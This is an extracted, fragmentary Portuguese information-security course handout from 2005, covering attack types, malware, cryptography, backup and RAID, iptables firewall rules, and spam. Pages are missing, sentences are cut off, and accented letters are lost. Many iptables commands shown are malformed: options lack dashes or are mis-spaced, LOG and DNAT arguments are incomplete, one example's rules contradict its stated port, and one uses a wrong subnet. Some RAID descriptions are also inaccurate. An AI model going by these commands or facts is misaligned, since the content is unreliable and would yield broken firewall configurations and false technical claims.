Académique Documents
Professionnel Documents
Culture Documents
1) Conceitos Bsicos
O Termo "Segurana", segundo a ISO 7498-2, utilizado para especificar os fatores necessrios para minimizar a vulnerabilidades de bens e recursos e est relacionada a necessidades de proteo contra acesso ou manipulao das informaes confidenciais e utilizao dos recursos de processamento de forma no autorizada. Da mesma forma "Vulnerabilidade" utilizada para especificar qualquer fraqueza que pode ser explorada para violar um sistema ou as informaes que ele contem. A necessidade de proteo deve ser definida tendo como base as possveis Ameaas as quais o ambiente est exposto, e deve ser formalizado em um documento oficial denominado Poltica de Segurana.
um ataque de senha para se ter acesso ao sistema; 3. Engenharia social: consiste em se passar por uma outra pessoa com o objetivo de coletar informaes para proferir o ataque em s (coleta de informaes privilegiadas); Recentemente tem-se utilizado principalmente o "e-mail" para a realizao desta tcnica. Esta tcnica uma forma incrvelmente eficaz de se reunir informaes sobre um dado ambiente u sistema alvo; 4. Quebra de senha: tem por finalidade obter as senhas de acesso ao sistema, ou de uma conta em especial. As principais tcnicas que podem ser empregadas so: Fora bruta; Dicionrio; Combinao de palavras; Como no existem senhas 100% seguras uma questo de tempo at que um software de quebra de senha consiga descobrir uma senha. 5. Filtragem de Pacote (packet sniffing): almeja a coleta de nomes de usurio e senhas que trafegam de forma no protegida pela rede; e outros tipos de informaes pertinentes para o invasor; 6. Varredura ICMP - Pinging : esta tcnica utilizada para determinar os possveis alvos para um determinado ataque, mas tambm pode ser utilizada por Administradores de Rede para realizar o monitoramento da mesma; 7. Scanner de Portas: consiste na determinao de quais servios de rede esto ativos nos hospedeiros da rede, bem como da identificao das principais vulnerabilidades a que estes hospedeiros esto sujeitos. Ao identificar o endereo de um hospedeiro ativo, o invasor pode utilizar este valor para forjar um ataque sem ser identificado 8. Coleta do Finger Printing de um hospedeiro; 9. Cdigo malicioso (malware): programas desenvolvidos com objetivo de "furto" de informaes ou at mesmo danificao dos sistemas.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 4 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
5. Armadilhas (trapdoor): entidades do sistemas so modificadas para produzir efeitos no autorizados em resposta a determinadas mensagens ou intervalos de tempo; 6. Cavalos de Tria: entidades que executam funes no autorizadas, como por exemplo um procedimento de "Login" modificado; 7. Recusa de Servio: tem por objetivo impedir que entidades legitimas realizem suas funes. Tipo: DoS e DdoS. 8. Spoofing IP - Esta uma tcnica, dita altamente sofisticada, onde uma mquina autenticada por outra atravs de Pacotes IP indicando ser uma fonte segura. Dado que um computador X pode manter uma comunicao com um outro computador Y, sem a necessidade da constante verificao de autenticidade. Um hacker pode se disfarar informando para X que sua mquina Y. Para isto ele deve ser capaz de gerar os nmeros de seqncia que so usados durante o Aperto de mos entre dois servidores, uma forma de se obter tais nmeros enviar uma srie de solicitaes de conexes com X e guardar os nmeros gerados.. Com o tempo, o hacker pode descobrir como ele gera estes nmeros. Descoberto o processo de gerao dos nmeros, o hacker inicia uma conexo informando ser X, mas como ele no a mquina indicada ele age as escuras. Feito a solicitao ele envia um outro pacote com o nmero de seqncia, e com isto fecha a conexo. Uma vez fechada a conexo o usurio passa a trabalhar em um canal unidirecional, uma vez que ele no reabrir os pacotes de resposta. Uma forma de se evitar este tipo de ataque configurar o roteador para que ele no aceite pacotes internet que simulam originar-se de um endereo local. Outra forma seria a verificao dos logs, e do arquivo de host confiveis, caso haja uma conexo ativa com algum destes hosts, mas sem que hajam processos em andamento provavelmente um ataque est em ao.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 5 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
9. Negao de Servio - Este tipo de ataque tem por objetivo deixar um recurso inoperante momentaneamente. Existem basicamente dois tipos de ataques desta categoria o DoS e o DDoS, este segundo, se baseia no envio de uma grande quantidade de pacotes para um alvo de forma coordenada a partir de vrias origens. Devido a uma fragilidade do TCP (Transmission Control Protocol) os endereos da origem dos pacotes so normalmente forjados. Sendo que os tipos mais comuns de DoS se baseiam na prerrogativa que o cliente tem que aceitar a conexo e na limitao de que um servio tem que aceitar um nmero de conexes por vez. Um dos cuidados que devem ser tomados quando da configurao dos equipamentos de rede que eles no possam ser usados como fontes de ataques, bem como contra os ataques propriamente ditos, uma das formas de se fazer a segunda parte e retirar os servios que no esto sendo utilizados, outra forma realizar uma constante verificao do trfico do site, assim sendo, quando uma atividade anormal for detectada, uma atitude correspondente deve ser adotada, como por exemplo bloquear um endereo de IP.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 6 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
2) Malware
Desde novembro de 1988, quando Robert Morris lanou seu verme na internet, a mdia apresentou
o cdigo malicioso como se fosse um desastre natural, o que no deixa de ser uma verdade, visto seus efeitos e como as pessoas se comportam. Os vrus, alm de serem desastrosos para a produtividade de uma empresa, devido ao seu comportamento epidmico, ele pode consumir uma sensvel parte da largura de banda de uma rede de computadores. Atualmente existe mais de 40.000 tipos distintos de vrus registrados. Dos vrus conhecidos trs se destacam pelo seu poder destrutivo e pelo seu modo de operao. O vrus Melissa, desenvolvido por David Smith em 1999, causou um dano total de US$ 80 mil. O vrus "I love You" causou um dano total de US$ 10 bilhes e desativou mais de 10.000 empresas, incluindo o Departamento de Defesa Norte Americano (D.O.D). Um dos motivos de rpida proliferao do Vrus "I love you" foi causada pelo uso do catlogo de endereos do Microsoft Outlook Express, e por explorar a curiosidade do usurio. Como acontece no mundo real a cura para estas pragas est sempre um passo atrs do seu desenvolvimento. E atualmente os vrus deixaram de ser um pequeno incomodo, se tornando uma real ameaa para a comunidade comercial.
grupos de risco de contaminao. Atualmente, muitos vrus no necessitam que o usurio executem um arquivo anexado, basta abrir o e-mail ou visitar um site que o mesmo automaticamente acionado.
executados; 6. Vrus Polimorfico - so vrus que possuem um sistema ativo de mutao, que no somente muda o vrus a cada vez que ele replica, mas tambm muda a rotina que decifra. Isto cria um vrus muito difcil de se detectar. Um exemplo de vrus desta categoria "One Half", que criptgrafa progressivamente o seu disco rgido, tornando-o impossvel de ser lido.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 8 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
ocorrer uma infeco ou do lanamento do novo arquivo de assinaturas. Mas os investigadores podem oferecer falsos positivos, contudo este problema tem sido gradativamente reduzido. Os Monitores de Atividade observam as aes que esto sendo executadas no computador, e quando ocorre uma ao suspeita, o monitor envia um alerta para o usurio, pedindo que o mesmo aceite ou rejeite a execuo do cdigo, o que pode gerar certo nvel de inconvenincia ao usurio. Os Verificadores de Integridade guarda informaes detalhadas sobre os arquivos do computador e setores do sistema. Isso permite que ele possa determinar quando so feitas mudanas e ento emitir um alerta ao usurio. Os softwares antivrus podem ser executados em trs locais distintos: No Desktop protegendo localmente os dados, mas pode ser facilmente desabilitado pelo usurio; Nos Servidores garante maior nvel de segurana para os dados da rede, mas podem sobrecarregar a operao do servidor; Nos Gateways da Rede evita a entrada e sada de softwares maliciosos da rede. Pode gerar um atraso na comunicao, contudo seu uso altamente recomendado.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 10 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Os hackers podem automatizar estes ataques atravs dos Zumbis que so sistemas previamente comprometidos para um ataque. Este tipo de ataque pode caracterizar um DDOS, no qual o invasor no pode ser diretamente rastreado. Novos Zumbis so facilmente alertados, pois cada vez mais existem pessoas com acesso de banda larga, nas quais conectam seus computadores de forma protegida para um longo perodo de tempo. Dentre as ferramentas utilizadas pelos hackers podemos destacar o Tribal Flood Network e o Trin00. Tipos de ataque: 1) Ataque Smurf : uma rede com pedidos Packet Internet Groper (PING), neste caso a rede sobrecarregada com uma grande quantidade de pedidos e replicar de ping; 2) Ataque Fraggle : este ataque usa o protocolo UDP User Datagram Protocol da mesma forma que o ataque smurf; 3) Ataque de Inundao de SYN: cliente e servidor trocam uma srie de mensagens a fim de estabelecer uma conexo. O primeiro pacote o SYN (abreviao synchroneze sincronizar).
O n da rede responde ao cliente com uma mensagem SYN-ACK (synchronize acknowledgment confirmao de sincronizao).. Durante o ataque o hacker no envia a confirmao (ACK) deixando o host aguardando com uma conexo meio alerta. Quando o host atinge seu limite de conexes, ele passa a recusar quaisquer conexes que chegarem, incluindo as vlidas. Estas conexes alertas iro expiar o trmino do ataque e a negao do servio terminar. O anonimato de um ataque de Negao de Servio torna-o um ataque pouco visvel, mas com elevados danos publicidade e imagem da empresa. Apesar de serem fceis de se gerar, so difceis de se impedir, a nica coisa que pode ser feita tornar sua rede mais difcil de atacar e seus computadores de se tornarem Zumbi.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 12 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 14 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
4.1.2) Esteganografia
Esconder uma mensagem secreta em outra mensagem. Exemplos: 1) Tinta invisvel - mensagem publica usando tinta normal e a secreta usando tinta invisvel; 2) Imagem grfica: 1) Incluir uma mensagem secreta dentro de uma figura.; 2) Ou em se cabealho de dados.
(3) Inserindo dados na grade: THISISAS IMPLECOL UMNARTRA NSPOSITI ONCIPHER (4) Reescrita da cifra = seguindo-se as colunas verticalmente. TIUNO HMMSN IPNPC SLAOI IERSP SCTIH AORTE SLAIR Verses mais sofisticadas usam padres mais complexos, como ziguezague pela grade. Como as palavras esto mantendo a mesma freqncia, esta tcnica facilmente detectada e quebrada.
Exemplo de algoritmos: 1) DES Data Encyptron Standard; 2) Triple DES; 3) IDEA International Data Encyption Algorithm; 4) Blowfish; 5) Rot 13 6) RCS. Estes algoritmos podem ser de dois tipos: 1) Algoritmos de Fluxo que trabalham com o texto um byte por vez; 2) Algoritmos de Bloco trabalham sobre blocos de tamanha fixo. Os sistemas simtricos so mais simples e mais rpidos do que aqueles de chave pblica (1.000 vezes mais rpido), mas possui a desvantagem de que dois usurios distintos tenham conhecimento do mesmo segredo (chave). Ambos os usurios so responsveis pela segurana da chave.
tamanho da chave quem determina a eficincia do processo. O principal deste tipo de criptograma o RSA criado por Ron L. Rivert, Adi Shamir e Leonard Adelman, a segurana deste algoritmo se baseia na dificuldade de se fatorar nmeros extensos. Segundo pesquisadores, para desvendar o sistema RSA Data Security usando uma chave de 760 bits, seriam necessrios 4.300 computadores e 50 anos. O uso destas chaves permite o estabelecimento da conexo segura entre duas entidades sem o prvio conhecimento das chaves. Visto que quando uma entidade X precisa enviar uma mensagem para Y, ela usa a chave pblica de Y, para cifrar a mensagem e somente a entidade Y ser capaz de decifrar a mensagem, pois somente ela conhece a sua chave privada.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 18 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
que uma assinatura digital que tenha sido verificada no pode ser negada, ela fornece um elevado nvel de confiana no processo de transaes eletrnicas e autenticao de documentos digitais. O processo das Assinaturas Digitais se baseia na existncia de duas chaves, uma pblica e uma privada. Neste caso, o remetente codifica a mensagem utilizando a sua chave privada e somente o usurio que possui a sua chave pblica poder ler a mensagem. Uma assinatura digital possui as seguintes propriedades: 1. Garante a Autenticidade; 2. No pode ser forjada; 3. No reutilizvel; 4. No pode ser repudiada. 5. Vlida certificados; 6. Pode ser utilizada em assinaturas eletrnicas; 7. Autentica, verifica a integridade e faz o reconhecimento de mensagem; 8. Pode ser utilizada como Hash de um documento; Algoritmos: 1) RSA; 2) Digital Signature Algotithm (DSA); 3) Digital Signature Standard (DSS). Usa a chave privada para assinar o documento, e o destinatrio usa a sua chave pblica para verificar sua assinatura.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 20 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
4.3.1.5) Kerberos:
1) Servio de autenticao (MIT); 2) Cifras para codificao e autenticao; 3) Constitudo de um Banco de Dados de Cifra; 4) Aps o login, gera e distribui as chaves de sesso; 5) Quando o autenticador quebrado todo sistema pode entrar em colapso; 6) No indicado para uso entre domnios de segurana.
5) Backup
atravs do processo de backup que podemos garantir a segurana de vrios tipos de dados. Este processo consiste em realizar uma cpia total ou parcial de forma on-line ou off-line dos dados armazenados nas estaes de trabalho e/ou nos servidores de um determinado ambiente. Contudo, dependendo as caractersticas do ambiente e das necessidades presentes do mesmo o processo de backup pode variar largamente, deste modo, se faz necessrio o uso de critrios para determinar a melhor forma para sua realizao. Deste os critrios que podem influenciar o processo de backup so: 1. A quantidade de dados a serem protegidos; 2. A freqncia com que os dados devem ser copiados; 3. Tempo de realizao do backup e do restore dos dados; 4. A confidencialidade fornecida pelo processo; 5. O custo do processo e o valor das informaes; 6. O prejuzo gerado pela perda parcial ou total dos dados.
As fitas magnticas so as mdias mais comuns, mais baratas utilizadas nos backups off-line, mas por outro lado so as mais lentas e que ocupam um grande espao. Seus principais tipos so: 8mm, Travan, DLT, DAT e Magstar O armazenamento tico muito popular em ambientes onde a velocidade e a confiabilidade so as maiores preocupaes, estes ambientes fazem uso de servidores com jukboxes ticos de alta disponibilidade que so solues caras porem muito eficientes. Os arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) so um subsistema de discos rgidos que melhoram o desempenho e a tolerncia a falhas, uma vez que os dados so gravados em mais de um disco ao mesmo tempo. Estas solues podem ser tanto implementadas em software quanto em hardware. Neste caso quando uma unidade de disco falha o administrador do sistema pode substitui-la, em alguns casos, sem parar o funcionamento do servidor. Os principais tipos de RAID so:
RAID 0 : este nvel realiza um join dos discos, ou seja, ele combina todos os discos em uma nica unidade lgica, til quando desejamos aumentar a capacidade de armazenamento de dados; RAID 1: realiza o espelhamento de um disco em um outro, nesta soluo um dos discos fica inativo, apenas recebendo os dados do disco mestre at que ele falhe. Este nvel oferece uma boa tolerncia a falhas, visto que ao ocorrer a falha de um disco os usurios so automaticamente redirecionados para o antigo disco escravo; RAID 3: tambm implementa um espelhamento s que neste caso trs ou mais unidades de disco so espelhadas em uma outra, este nvel tambm fornece tolerncia a falhas, uma vez que grava os bits de paridade em uma unidade dedicada e permite que os discos trabalhem em paralelo, fornecendo assim alto nvel de desempenho; RAID 5: esta faz uso de trs unidades, em duas so armazenados os dados e na terceira os bits de paridade, sendo esta a soluo mais utilizada; RAID 10: a combinao do RAID 1 e 0, ou seja, espelhamento e intercalao entre unidade de disco.
_ _ _ _ _
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 23 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
A soluo de RAID fornece um melhor desempenho e tolerncia a falhas, mas de forma alguma substituir o processo de backup off-line. Vale lembrar que dois ou mais discos podem falhar ao mesmo tempo, perdendo o acesso total aos dados armazenados no array. Outra soluo de proteo aos dados o HSM (Hierarchical Storage Management), que um sistema automatizado para o gerenciamento de dados e espao em disco, muito utilizado em mainframes. Esta soluo monitora a capacidade das unidades e move os dados para as mdias de armazenamento prximo ou offline, mais lentas. O HSM pode mover os dados segundo sua idade, freqncia de uso ou baseado em outros critrios, permitindo deste modo uma migrao de dados automtica. Esta soluo relativamente cara e difcil de ser implementada. J as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade de armazenamento, graas ao uso de um canal de fibra (fiberchannel), permite uma conexo de alta velocidade e implementa uma subrede de armazenamento, com isto libera a rede de produo do peso do backup de dados e economiza largura de banda . Alm disto oferecem alta velocidade, confiabilidade e gerenciamento centralizado. Por outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidores de arquivos, visto que esto conectados diretamente a rede ethernet e possuem sistemas operacionais embutidos nos equipamentos. Esta estrutura uma alternativa a incluso de unidades de dados nos servidores. Para garantir a segurana dos dados estes equipamentos implementas um dos nveis de RAID estudados anteriormente, mas backups de grades volumes de dados podem afetar a velocidade da rede. Esta soluo relativamente barata, simples e possui grande compatibilidade entre fornecedores.
Backup Incremental: salva os arquivos que foram alterados desde o ltimo backup. Neste processo o novo arquivo armazenado na mdia e o arquivo original no removido da mdia. No processo de restaurao devemos ter o ltimo backup completo e dos os backups incrementais desde ento. Este tipo de backup possui periodicidade
_
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 24 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
diria ou menor; Backup Delta: S faz a cpia dos dados reais que foram modificados nos arquivos, um processo de backup mais rpido e que ocupa menos espao nas mdias de backup, contudo o processo de restaurao mais lento e complexo. Tambm possui periodicidade diria ou menor; Backup Diferencial: Copia todos os arquivos que foram alterados desde o ltimo backup completo, por este motivo ocupa mais espao nas mdias de backup e mais lento de ser gerado, contudo mais fcil de recupera-lo, sua execuo preferencialmente deve ser diria ou em intervalo menor. Para restaurar os dados a partir deste tipo de backup deve-se ter em mos apenas o ltimo backup completo e o ltimo backup diferencial
_ _
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 25 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
6) Firewall
Vrias pesquisas mostraram que a Internet o principal ponto utilizado para realizar invases. Em 2002, segundo uma pesquisa feita pela mdulo, 43% das empresas sofreram algum tipo de ataque ou invaso. Em 2003, esta valor subiu para 77%. E os hackers brasileiros so internacional considerados como os melhores do mundo. Outro fator importante que ... quanto mais tempo ficamos conectados internet, maiores so as chances de sermos invadidos ou infectados por malwares .... Isto tudo pois o Ipv4, verso atualmente em uso da pilha de protocolos TCP/IP, no foi projetado para assegurar a integridade das informaes e realizar o controle de acesso apropriado. Deste modo, a forma preferida de se violar uma rede tem sido o uso de pequenas falhas na implementao de servios e protocolos baseados no TCP/IP.
6.2) Histrico
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 26 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Os filtros de pacotes, realizam o controle de todo fluxo de dados direcionado ao host. Atravs da anlise dos cabealhos dos pacotes nos vrios nveis da arquitetura de rede so capazes de comparar seus contedos com regras de controle de acesso (ACLs) prviamente definidas e ento liberar ou no determinado fluxo de dados. J um firewall NAT manipula a rota padro de pacotes que atravessam o kernel do host, ele realiza a traduo dos endereos de origem, de destino e algumas vezes pode inclusive realizar um redirecionamento de porta. Este firewall pode ser classificado como: SNAT, DNAT e Masquerading. Um firewall SNAT normalmente utilizado para fornecer acesso a uma rede privada apartir de um ou vrios endereos IP fixo. J o Masquerading realiza a mesma funo s que sobre endereos . E um firewell baseado em DNAT pode ser utilizado na construo de uma DMZ ou de um cluster de servidores. O terceiro tipo de firewall seria o hbrido, que aquele que realiza tanto filtragem de pacote quando redirecionamento (NAT). Outra forma de classificao dos firewall quanto sua forma de atuao dentro da pilha RM/OSI, neste caso os firewalls podem ser classificados como de Rede ou Gateways de Aplicativos. Os Firewalls de nvel de Rede so na verdade roteadores com grande capacidade de filtragem de pacote, permitem que haja uma restrio a nvel de endereo, protocolo, nmero da porta e contedo. So fcil implementao, porm quando mal configurados esto sujeitos a ataques do tipo spoofing. Mas a filtragem normalmente impacta o processo de roteamento, de modo que podemos afirmar que: o desempenho do roteador inversamente proporcional ao nvel de filtragem imposta J os firewalls gateways de aplicativo, normalmente funcionam como pontes entre duas redes, os pacotes provenientes de fora da rede passam primeiro pelo gateways, que age como um filtro escondendo assim a rede interna. Todos os tipos de firewall possuem suas limitaes, o de nvel de rede possui uma viso muito limitada do que realmente acontece na rede. J os gateways de aplicativo tem um conhecimento maior sobre a aplicao, porm so solues especficas para cada aplicativo. Um dos firewalls de aplicativos
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 27 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
mais conhecido o SQUID, que foi projetado para manipular os protocolos HTTP, HTTPS e FTP.
Para facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas, cada qual com um funo especfica. As principais tabelas do iptables so: filter : responsvel pela filtragem de todos os pacotes que passam pelo host, no importando origem e destino; nat : responsvel pelo controle dos pacotes que passam pelo host, mas cuja origem ou destino no o mesmo. Esta tabela utilizada quando desejamos utilizar o iptables para construir gateways de borda. mangle : permite alterar caractersticas especficas do pacote, como por exemplo: o TOS (Tipo de Servio) o que permite implementar um sistema simples de QOS ( qualidade de servio).
_ _ _
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 28 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
-F : remove todas as regras de uma tabela sem alterar sua poltica padro; -N : cria nova nova chain na tabela especificada; -X : apaga todas as chains de uma determinada tabela;
(b) Firewall para liberar o acesso no servidor web aos protocolos http e https:
# # definindo as regras padro # iptables -P INPUT DROP iptables -P OUTPUT ACCEPT iptables -P FORWARD DROP # # definindo as regras de filtragem ao HTTP e HTTPS # iptables -A INPUT -p tcp dport 80 -j ACCEPT iptables -A INPUT -p tcp dport 443 -j ACCEPT
(c) Firewall para liberar o acesso servio http, para acesso externo ( eth1) e acesso pela intranet (eth0) na porta 8080.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 32 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
# # definindo as regras padro # iptables -P INPUT DROP iptables -P OUTPUT ACCEPT iptables -P FORWARD DROP # # definindo as regras de filtragem ao HTTP e HTTPS # iptables -A INPUT -p tcp dport 80 -i eth1 -j ACCEPT iptables -A INPUT -p tcp dport 443 -i eth0 -j ACCEPT
(d) Firewall para um servidor que hospeda os servios: http (80), https (443), imap (143), pop3 (110), smtp (25), ftp (21), ssh (22). De tal modo que, todos os servios possam ser acessados pela intranet (eth1) e os nicos servios que podem ser acessados pela internet (eth0) so o http e o https.
#
# definindo as regras padro # iptables -P INPUT DROP iptables -P OUTPUT ACCEPT iptables -P FORWARD DROP # # liberando acesso pela internet (eth0) # iptables -A INPUT -p tcp dport 80 -i eth0 -j ACCEPT iptables -A INPUT -p tcp dport 443 -i eth0 -j ACCEPT # # liberando acesso pela internet (eth1) # iptables -A INPUT -p tcp dport 80 -i eth1 -j ACCEPT iptables -A INPUT -p tcp dport 443 -i eth1 -j ACCEPT iptables -A INPUT -p tcp dport 143 -i eth1 -j ACCEPT iptables -A INPUT -p tcp dport 110 -i eth1 -j ACCEPT iptables -A INPUT -p tcp dport 25 -i eth1 -j ACCEPT iptables -A INPUT -p tcp dport 21 -i eth1 -j ACCEPT iptables -A INPUT -p tcp dport 22 -i eth1 -j ACCEPT
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 33 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
(e) Firewall para um servidor que: proiba que qualquer pacote oriundo de nossa LAN (192.168.254.0/24) possa ser direcionado ao site www.sexo.com.br; proiba que qualquer pacote oriundo do host www.cracker.com possa penetrar na nossa rede; permitir a entrada de pacotes oriundos do site www.cyberoots.org.br na nossa rede; todos os pacotes oriundos da interface eth1 do firewall devem ser redirecionados para o computador 192.168.254.254; todos os pacotes que desejam sair (eth0) da rede local para outra rede, tenham seus endereos de origem alterados para 146.164.32.90; todos os pacotes que tentam entrar na rede por uma interface diferente da eth0 devem ser descartados; o mesmo deve ocorrer com qualquer pacote que tente sair por uma interface diferente da eth2; descarte todos os pacotes oriundos do ip 200.255.96.171 e destinado ao IP 192.168.254.7; todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormente descartados;
_ _ _ _ _ _ _ _
# poltica padro # iptables -P INPUT DROP iptables -P OUTPUT ACCEPT iptables -P FORWARD DROP # # liberando o trfego na interface lo # iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT # # pacotes que entram no firewall # iptables -A INPUT -p tcp - -dport 23 -j LOG [firewall] acesso ao servio de telnet iptables -A INPUT -p tcp - -dport 23 -j DROP # # regras de forward # iptables -A FORWARD -s 192.158.254.0/24 -d www.sexo.com.br -j DROP iptables -A FORWARD -d 192.158.254.0/24 -s www.cyberoots.org.br -j ACCEPT iptables -A FORWARD -s 200.255.96.171 -d 192.168.254.7 -j DROP iptables -A FORWARD -i ! eth1 -j DROP iptables -A FORWARD -o ! eth0 -j DROP # # regras de nat # iptables -t nat -A PREROUTING -i eth1 -j DNAT 192.168.254.15 iptables -t nat -A POSTROUTING -o eth1 -j SNAT 192.168.254.1
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 34 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Para acessos internet atravs de uma conexo discada ou banda larga, que no fornece endereo fixo podemos utilizar a regra abaixo:
iptables -t nat -A POSTROUTING -o ppp -j MASQUERADE
J para conexo internet atravs de um endereo IP fixo e conhecido podemos utilizar uma regra como a que est abaixo:
iptables -t nat -A POSTROUTING -s 10.10.0.0/24 -o eth0 -j SNAT - -to 146.164.32.67 Outra regra muito comum aquela usada para redirecionar uma conexo vinda da internet para a DMZ, como mostra a figura abaixo: iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 10.10.0.1
Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 do comando a cima, ou seja :
echo 0 > /proc/sys/net/ipv4/ip_forward
b) Qualquer pacote cuja origem o host 10.0.3.1 dever ter seu endereo de origem alterado para 192.11.22.33:
iptables -t nat -A POSTROUTING -s 10.0.3.1 -o eth0 -j SNAT - -to 192.11.22.33
c) Qualquer pacote cuja origem a rede 10.0.3.0/8 deve ter seu endereo de origem alterado para 192.11.22.33:
iptables -t nat -A POSTROUTING -s 10.0.3.0/8 -o eth0 -j SNAT - -to 192.11.22.33
d) Qualquer pacote cuja origem a rede 10.0.3.0/8 que sai pela interface eth0 deve ter seu endereo de origem alterado para qualquer um do intervalo 192.11.22.33-192.11.22.66:
iptables -t nat -A POSTROUTING -s 10.0.3.0/8 -o eth0 -j SNAT - -to 192.11.22.33-192.11.22.66
e) Qualquer pacote que venha do host 10.0.3.1 e entre na mquina pela interface eth0 deve ser redirecionado para o endereo 192.11.22.33:
iptables -t nat -A PREROUTING -s 10.0.3.1 -i eth0 -j DNAT - -to 192.11.22.33
f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereos do intervalo: 192.11.22.10 at 192.11.22.33:
iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192.11.22.10-192.11.22.33
g) Todos os pacotes que entram pela interface eth2 e so destinados a porta 22 deve ser redirecionados para o host 192.11.22.1:
iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 192.11.22.1
# filtando os pacotes # iptables -A INPUT -p tcp - -dport 22 -j ACCEPT iptables -A FORWARD -d 10.10.0.0/24 -j ACCEPT iptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 10.10.0.1 iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 10.10.0.1 iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 10.10.0.2 iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 10.10.0.3 iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 10.10.0.3 iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 10.10.0.3 iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 10.10.0.3 iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 10.10.0.3 iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 10.10.0.3
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 37 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 38 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
7) SPAM
O SPAM, prtica to comum nos dias atuais, tem se tornado um problema para a maioria dos administradores de sistemas, desenvolvedores e usurios de internet, mas a medida que os filtros anti-spam evoluem as tcnicas utilizadas para burlar os filtros se desenvolvem mais rpido ainda. Uma tcnica que tem surtido efeito o uso da heurstica, mas seu ponto fraco apresentar uma grande quantidade de falsos positivos. Mas uma coisa certa muito administradores esto ajudando os inimigos, principalmente aqueles que devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existncia daquele e-mail. Mas alguns administradores esto fazendo sua parte, uma das medidas adotadas a adoo de
